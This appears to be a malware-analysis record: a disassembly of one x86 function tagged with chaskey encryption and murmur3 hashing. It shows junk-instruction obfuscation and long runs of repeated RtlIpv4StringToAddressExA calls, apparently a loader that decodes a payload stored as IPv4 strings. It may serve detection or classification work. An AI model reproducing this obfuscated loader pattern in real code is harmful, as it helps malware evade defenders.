Function at 0x401000
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
add edx, ebx
and edx, ebx
mov ecx, 0xd0197e21
bswap ebx
sub ecx, ebx
xor edx, esi
xor ebx, edx
call sub.user32.dll_GetInputState
shl ebx, 1
and esi, ecx
or ecx, ebx
cmp eax, 0xfffffed9
jne 0x4010b0
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
ret
or ebx, 0xd022b0c2
sub edx, 0xd022f349
call sub.user32.dll_GetClipboardOwner
xchg ecx, esi
add ecx, ebx
dec edx
xchg ebx, esi
cmp eax, 0xfffffefe
jne 0x401151
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
ret
mov ecx, ebx
sub ebx, esi
xchg ecx, esi
rol ecx, 0x1b
xor ebx, 0xd0308a36
call sub.user32.dll_GetClipboardOwner
xchg ebx, ecx
and ebx, esi
rol ebx, 0xb
and esi, ecx
cmp eax, 0xffffff01
jne 0x401215
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
call sub.ntdll.dll_RtlIpv4StringToAddressExA
ret
jmp 0x5057b9
mov ebx, esi
shr esi, 0x18
and esi, ebx
jmp 0x507478
pop ebx
or esi, ecx
shl ecx, 0x1d
shr edx, 8
xor ecx, edi
add edx, 0xde177451
or edi, ecx
shr edi, 0x13
and edx, 0xde18da28
rol edi, 0x1d
bswap ecx
add edi, esi
jmp 0x506f58
mov ebx, 0x123b2f04
sub esi, 0xde362646
sub edi, 0xde366fb5
mov esi, edi
jmp 0x508956
push 0xd13d9443
and esi, ecx
sub esi, edx
or edx, edi
shl edi, 9
and esi, edi
sub edx, edi
sub edx, esi
bswap edi
jmp 0x5070d9
push 0xd13d6e6d
mov edi, 0xdf5e25ca
xchg ecx, edi
xchg ecx, edi
and esi, 0xdf5ee1cb
sub edx, esi
add edx, edi
xor edi, edx
bswap edx
xor edi, 0xdf602760
jmp 0x5064e1
call fcn.00509174
ror edx, 0x1d
rol esi, 0x13
and ecx, esi
and edi, edx
xchg edi, edx
neg edx
inc ecx
rol ecx, 0x15
xor esi, edx
jmp 0x508552
push 0xd13d14eb
and edi, edx
add edx, ecx
mov edx, ecx
or edx, esi
rol ecx, 0x14
shl ecx, 0xc
bswap esi
rol esi, 0x1e
jmp 0x5070f9
push 0xd13dbd4d
xor ecx, edx
sub edx, 0xdfb23f3b
bswap edi
and ecx, 0xdfb3047f
mov edx, ecx
not esi
mov edi, ecx
jmp 0x5062e2
push 0xd13d4099
add esi, ecx
xor edx, esi
shr edx, 0xc
bswap edx
sub edi, ecx
sub edi, esi
xor edi, edx
jmp 0x506caa
push 0xd13c21f1
sub edi, esi
mov edx, edi
bswap edx
ror esi, 6
or edx, esi
jmp 0x508c49
call ebx
xor edx, 0xe226676f
dec esi
and edi, esi
bswap esi
sub edx, ecx
jmp 0x506153
jmp loc.0050e000
mov ebx, 0x2774562b
xor ecx, edx
xchg esi, edx
not edi
neg edi
or edx, ecx
jmp 0x506e00